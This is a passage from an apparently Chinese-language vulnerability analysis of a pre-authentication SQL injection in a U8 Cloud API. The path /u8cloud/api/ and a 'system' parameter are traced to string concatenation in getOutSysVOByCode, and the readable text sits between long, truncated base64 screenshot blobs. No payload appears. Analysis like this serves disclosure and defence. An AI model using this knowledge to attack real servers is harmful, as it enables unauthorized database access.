wRScsXYAjj3/Df60vnmUayYiIiIiIiIiIiIiIjI0CmidB4wtjxVf+ieWZkWOdlVERERERERERERERESGnQJa54HoBddzcWYExrRyfO2feX3NLqpOtOCz1OWgiIiIiIiIiIiIiIiMf+M6oDVlZgTfybcw9V18a00X7k9oACd9QjZhloWpWc/rL35IhWXBJ3RbiIiIiIiIiIiIiIjI+cc22hWQobNZgZ+xuYGm0a2KiIiIiIiIiIiIiIjIsFNA6zzQ2tbm/xAVTdToVkVERERERERERERERGTYKaB1HmhrbfV/iIohenSrIiIiIiIiIiIiIiIiMuzG1Rha02eG88/5wTE4KzGMB68PXpWqQx18a7/p8zcTbeffV9rJxfDaBx28GR7GnVNtTI+3iANqmnx8fNTLi8d9tPUbhyohN5z/N8vCjuHt9R08URd6nKpJ08P5twIbptPLI293stE7suNZtba2+D9ERSugJSIiIiIiIiIiIiIi551PdIaWPTGMby60s9hhIyncIizcIi3ZztUXhvGd6TaiTN9gWP1xL7u9YFk2FmTZsPp9D2CMxcJ0fwCrvdrHlq6RX4+Ozg7/h7CI8RWhFBERERERERERERERGYRxFf84eqSLH5Sc/H9OQRifm2DDNHXx8Mc+avtN39nhAwbKjrKYVWAjodHLnw8bjrRAYqLF8sl25sTYyCkI47aqLv5U2yto1ellfWUYF0yApAwb0/f42NM/ppVoY24MGGPYVualyxrZ7CyA2JhY/4fWJlpHfGkiIiIiIiIiIiIiIiLn1rgKaLW1Go72itiEdwaCRV4oqffhDgoeDRxMsiyLDLx8f30XxSYwXQNsrTJ8e2UY08NsLMmBJ2oMvsB8Lcvi4zIvjVl24iJtLHbBHnff+RZk2Ui1LEy7l43VQ1zh07Bs0cRnzWXFoon+6u/cTNHILlJEREREREREREREROScG1cBreG2v6hXMKtbu5d3K8KYng1RSTbS8VHe6+sut2FzG6yMtjE3005Y1cksLGMsLsrwf26o8LLLy6liamfMmFQu+8cfcmlm35kabxOV217mxRf39gTfREREREREREREREREzhef2DG0jPFR3RT8d8uyqGoJ9CMYBnFB3/tYe9z/fUy6xTx7ry+TbFwY45/3R+W+cxZc8jZX4y4vo77znCxORERERERERERERETknPpEZ2h1+UL/vbrCy+9bvdBlqAzx/dESH2UFFllhdi5K9/FhuT/ANTEz0N1gq5dNHoY1O8uvhs2PfY89gV/NsseQkD2XS65dxaxrvk6i79/54xr3qWchIiIiIiIiIiIiIiIyznxiM7ROpa3Rx5pSH2sqDA2hsqyafGw44c/mmjXBItqYPt0NVpf7ODgC2VmW5aW1tgKP2/+vuuIIRzY/w2sbyrGsSHIuvpR0Y4Z9uSIiIiIiIiIiIiIiIqNJAa2zYFmGdaU+vMYQ7rKzKAJI7NXdYNkAqV8jpLauxv8hOYXkc7pkERERERERERERERGRkaeA1lk6cdzHHi9gwcJMG7kZNtIsC5p8rK8/t3WxerLBrOHv5VBERERERERERERERGSUKaB1tjq9rK8Gy7IxOc3GwlR/KKn0uI+yEehu8FSio6L9H9paaTunSxYRERERERERERERERl54zqg1eENjBcVBrHneNmWZbGlxEeTMdgdNi5L8Hc3uPn4ue1uECAqKsb/ob1NAS0RERERERERERERETnvjOuA1vF6Q6cxEGPjlkI7UxMtJiac/OcMMyO6/K5qLx+1gRVuI95mYU742NA8oosMKTo6yv+hvZX2c794ERERERERERERERGRERU22hUYivYKL+8121gVZ2PWNBuzpp38zhjDug/bebR65JZvGcMHxw2XTbIwxnC43EfNOe5uECA8PML/obODjnO+dBERERERERERERERkZE1rjO0LGN4an0Xz5Z5cbcbvGZkM7JCqW4x+IwBn48Py859d4MAra0t/g+OdFLHdYhSREREREREREREREQk2LgPf/g6fLy0zcdLIb8NzpayWr187xXvgN+fCWMMiydY2CyLrlrDxvYhz/KsVB48QNOlLmJjL+Ka+zy8t3Y37hNttDZU0th27oN8IiIiIiIiIiIiIiIiw8mempr6/dGuxLgVG8Y902wkArsPdfJBwyhEswCf5xgNrnlMzYglxjWVafOWMn/JctLr32Vnaeeo1ElERERERERERERERGS4jOsuB0dbVpaNPJsFXh8flo9ePSyrgT1P/IjHn3+PAyVuWtq9/m4QRUREREREREREREREzgPjvsvB0WKMxdIJ/oysdrePzV2MSneD3SyridINT/HXDaNXBxERERERERERERERkZGgDK2zlWRjYax/HK0dx710WqMYzRIRERERERERERERETmPWTNmzFDfdCIiIiIiIiIiIiIiIjJmKUNLRERERERERERERERExjQFtERERERERERERERERGRMU0BLRERERERERERERERExjQFtERERERERERERERERGRMU0BLRERERERERERERERExjQFtERERERERERERERERGRMU0BLRERERERERERERERExrQxGdCKi4sjLi5utKshIiIiIiIiIiIiIiIiY8CYDGiJiIiIiIiIiIiIiIiIdFNAS0RERERERERERERERMY0BbRERERERERERERERERkTFNAS0RERERERERERERERMY0BbRERERERERERERERERkTFNAS0RERERERERERERERMY0BbRERERERERERERERERkTFNAS0RERERERERERERERMY0BbRERERERERERERERERkTFNAS0RERERERERERERERMY0BbRERERERERkVNgTCpix8m5uXjl5tKsiEsTYZrHi3rtYNDuPWJsZ7eqIiIiIfOKFjXYFRERERERE5JPF2FKYfMXdXL18JklhFu1b94x2lUSCWQmkzVxO4awVXFq9lbXPPMHGw/UYyxrtmomIiIh8IimgNY4ZU8i1//ebzE/0X0zXvPcjfvlq0SnLTPn0Q9xxYXTwvHxddLTWUVOyn73rX+PDfdV4Q1ykm2n38e37FxN5mgt4c+I9HvuPJyjtN52xL+HTP76XQsti3xOf52/bxs+NQN4tD3LPxUmDnt4YNxt+/h3eLRu+dez+/czRv/LTX75N6yBvpMzET/MPX7qM+FC/qTnEG9/7CVtaRva3KLjtv7n7onhM9Rs88uNncA9Qd5N9G1/7+hUkUz3g9gtLmcOilcuZNikXR2I0tq4WGt3HOLL9Xdav3UODb3jXZSxsv6FS+x2a8dx+xyKdv869mfc+ws2zbJh9j/OjRz/A13/94i7nc9+7nWza2P77r/HyvpFdv4iCG7jrzsvJjG2l6sMneOqF7SGPCWNh/z+XrDlf5F8+Mw+72cfL3/1vtnee2boNVN4YJ8u+8f+xPHvw8zMdW3j6u49wwIyN7WtMDIu+8j9cOdGi7eOH+a+ndpxh+Tyu/O53WOTwr0/Ri//I42sb+k6Tdwff+MpKEjjAa//2Uz5uGxvrDmBMBsu/+QOWpVvUffBjfvHSkdGu0pCY6Clc8YWvsDg7GmM6qC/exa4dZaNdrRGRff1/8rllTkzlK/z6wRfwnGEgpPv4DdC69Vf87ImtfY7hxizirp/eT+E5On6fqbO9/hszfEfZvWEn8XNmku66kJVfnMykN3/Ok+8co2u8rYuIiIjIeUABrfEsdSo5CSf/68ifTKw5RvNZXFhbtjAiY11kTnORMXU+0z/4DU+8tGf83XDImFV87AhdC+dgT5lEXjy4m0JPFz9xIg7LwjQfpuh48PdRhbfy2XtXkRHVq23a43FkzyZ5wkxmzHqZJx95mfIzfAgocipqv8NM569xLeemn3DfEgem/CUe/tlL1J3Fts6Zdxm5yVFAFFmLL2HiS9vZo56cSHI5CbMsTEMVNR3AGW7agcun43CeYWU8lVT7zrwOIyeL5BT/p9rqijMvHpZBSuLJ/6Zm5gK7+kwS7kolHqDLine truncated
|
||||
<p blockindex=27>在这个地方,看到了本次分析的主角<code>system</code>,通过<code>inputData.getSystem()</code>获取,然后传入<code>APIOutSysUtil.getOutSysVOByCode()</code>中。</p>
|
||||
<p blockindex=28><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACE4AAAR/CAYAAAAPADFDAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd5yc1X3v8c+Z2d5776vetZKQUAUJiyKqMabYxhDb14kdx8QluU4c31znGl8XbmLHwTYEF2wwRtgGY0CAUO+9IdRX2t57L3PuH7O72jIrod1Z7a70fb9evFjNzDPn95w5TzvVTJ8+3SIiIiIiIiIiIiIiIiIiIl6TlZUFwLlz50Y5EhG5HMdoByAiIiIiIiIiIiIiIiIiIiIyWtRxQkRERERERERERERERERERK5b6jghIiIiIiIiIiIiIiIiIiIi1y11nBAREREREREREREREREREZHrljpOiIiIiIiIiIiIiIiIiIiIyHVLHSdERERERERERERERERERETkuqWOEyIiIiIiIiIiIiIiIiIiInLdUscJERERERERERERERERERERuW6p44SIiIiIiIiIiIiIiIiIiIhct9RxQkRERERERERERERERERERK5b6jghIiIiIiIiIiIiIiIiIiIi1y0ff3//0Y5BRGRYHOHqAyZD56p1jXYIIiIiIiIiIiIiInINU3usyNin1kYRERERERERERERERERERG5bqnjhIiIiIiIiIiIiIiIiIiIiFy31HFCRERERERERERERERERERErlvqOCEiIiIiIiIiIiIiIiIiIiLXLZ/RDkBEZDi+973v9fz9jSe/MYqRiIiIiIiIiIiIiIiIiMh4pBknRERERERERERERERERERE5LqljhMiIiIiIiIiIiIiIiIiIiJy3VLHCREREREREREREREREREREbluqeOEiIiIiIiIiIiIiIiIiIiIXLfUcUJERERERERERMSLrHXiHxpFRHQCIf5mtMMRERERERGRy/AZ7QBERETGA2dYJhPn3MBE9vP6ljOjHY6IyDXDOqax/KHptBzZzfvHL9DkUuOSiIiMX9Y/jTmr72LBrElEBzkBOP/6P/L7XY2jHJmIiIiIiIhcijpOiIiIXIJ1RJJ980OsXj6NcB9D66EPRjskEZFrTBjx05aTPX0FSysOsf3Vl9l7rhZr1IFCRETGF+tIY/lnn2Bxkt9ohyIiIiIiIiJXSB0nZFyxAZZvLYMUYMMe+H3tyFSom+AsZi9bwbQpWUSHh+FHK03VReR/sJM9W3ZR1jo+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 truncated
|
||||
<p blockindex=29>继续跟进一下,明晃晃的字符串拼接就出现了,就造成了<code>SQL</code>注入。</p>
|
||||
<p blockindex=30><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=31>还在校验身份甚至没有到校验授权的时候就完成了注入,这也就是我们请求<code>/u8cloud/api/f</code>都可以成功注入的原因了。</p>
|
||||
<p blockindex=32><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACJIAAAI8CAYAAACgMRN8AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3xU153//9edGfU+mlFFDSE6xphiDAaDsXEhtuNux4lx/I2TTd08NpusN9n9ZrOb/DZZJ/vbTfcmmzhOHKe4925jijHYdBBdBaEyGkmo15nz/WNGqMwIBJKQMO/n48HjMZp7z73n3Dm3cO/nfo41a9YswxiJj48HoKWlZaxWISIiIiIiIiIiIiIiIiIyriZPngzA0aNHx7kmIiIjZxvvCoiIiIiIiIiIiIiIiIiIiIjIxKBAEhEREREREREREREREREREREBFEgiIiIiIiIiIiIiIiIiIiIiIkEKJBERERERERERERERERERERERQIEkIiIiIiIiIiIiIiIiIiIiIhKkQBIRERERERERERERERERERERARRIIiIiIiIiIiIiIiIiIiIiIiJBCiQREREREREREREREREREREREUCBJCIiIiIiIiIiIiIiIiIiIiISpEASEREREREREREREREREREREQEUSCIiIiIiIiIiIiIiIiIiIiIiQQokERERERERERERERERERERERFAgSQiIiIiIiIiIiIiIiIiIiIiEqRAEhEREREREREREREREREREREBFEgiIiIiIiIiIiIiIiIiIiIiIkEKJBERERERERERERERERERERERQIEkIiIiIiIiIiIiIiIiIiIiIhKkQBIRERERERERERERERERERERARRIIiIiIiIiIiIiIiIiIiIiIiJBCiQREREREREREREREREREREREUCBJCIiIiIiIiIiIiIiIiIiIiISpEASEREREREREREREREREREREQEUSCIiIiIiIiIiIiIiIiIiIiIiQQokkQnLGDvRCS6c7kwSoq3xro6IiIiIiIiIiIiIiIiIiMhHnmO8KyAymInOZ8F1N3PpxdNwxdkBKHn6q/x+Y+s410xEREREREREREREREREROSjTYEkMqEYWz5Xfv7vWZYdNd5VERERERERERERERERERERueAokEQmlJiFN3JZViTGtHN8/R94ed1uak604bc0tI2IiIiIiIiIiIiIiIiIiMhYUyDJBDFtdiTfLLAwjT18Y10Pngs0cCJjUg4Oy8LUbeTlZ9+nyrLgAt0WIiIiIiIiIiIiIiIiIiIi55ptvCsg0p/NCnbJ1iZaxrcqIiIiIiIiIiIiIiIiIiIiFxwFksiE0t7REfgQHUP0+FZFRERERERERERERERERETkgqNAEplQOtrbAx+iY4kZ36qIiIiIiIiIiIiIiIiIiIhccBzjXYEL1czZEfxDQWgcj5Xk4KEbQ3+WmkNdfGO/GfCdibHzr6vs5GF46d0uXo1wcNd0GzMTLOKBuhY/Hx718exxPx2WNaBsYl4E//8cCzuG1zd28VjDwOm9psyM4J8LbZhuHw+/3s17vvDzjZb29rbAh+gYBZKIiIiIiIiIiIiIiIiIiIicY8pI8hFhT3Lw9UV2ljhtJEdYOCIs0lPsXHeJg2/OtBFtBgahNB73sccHlmVjYbYNa9B0AGMsFmUEAkc6a/1s7Rn7dnR1dwU+OCIV5SQiIiIiIiIiIiIiIiIiInKO6Vn9ODl6pIfvlPf9nVvo4NOTbJiWHn76oZ/6QfN3d/mBobKBWMwptJHY7OMPhw1H2iApyWLlVDtzY23kFjq4vaaH39f3Cxbp9rGx2sHFkyA508bMvX72Do4lSbIxLxaMMWyv8NFjjW02EoC42LjAh/YW2sd8bSIiIiIiIiIiIiIiIiIiItKfAknGSUe74Wi/SImI7mCQhg/KG/14QoI2hg7isCyLTHz8y8YeykxwvibYVmN4cJWDmQ4bS3PhsTqDP7hcy7L4sMJHc7ad+CgbS9yw1zNwuYXZNtIsC9Pp473aETb4NCxbDAnZ87hy8eRA9XdtoXRsVykiIiIiIiIiIiIiIiIiIiKDKJDkI2J/ab8gkl6dPt6scjAzB6KTbWTgp7Lf5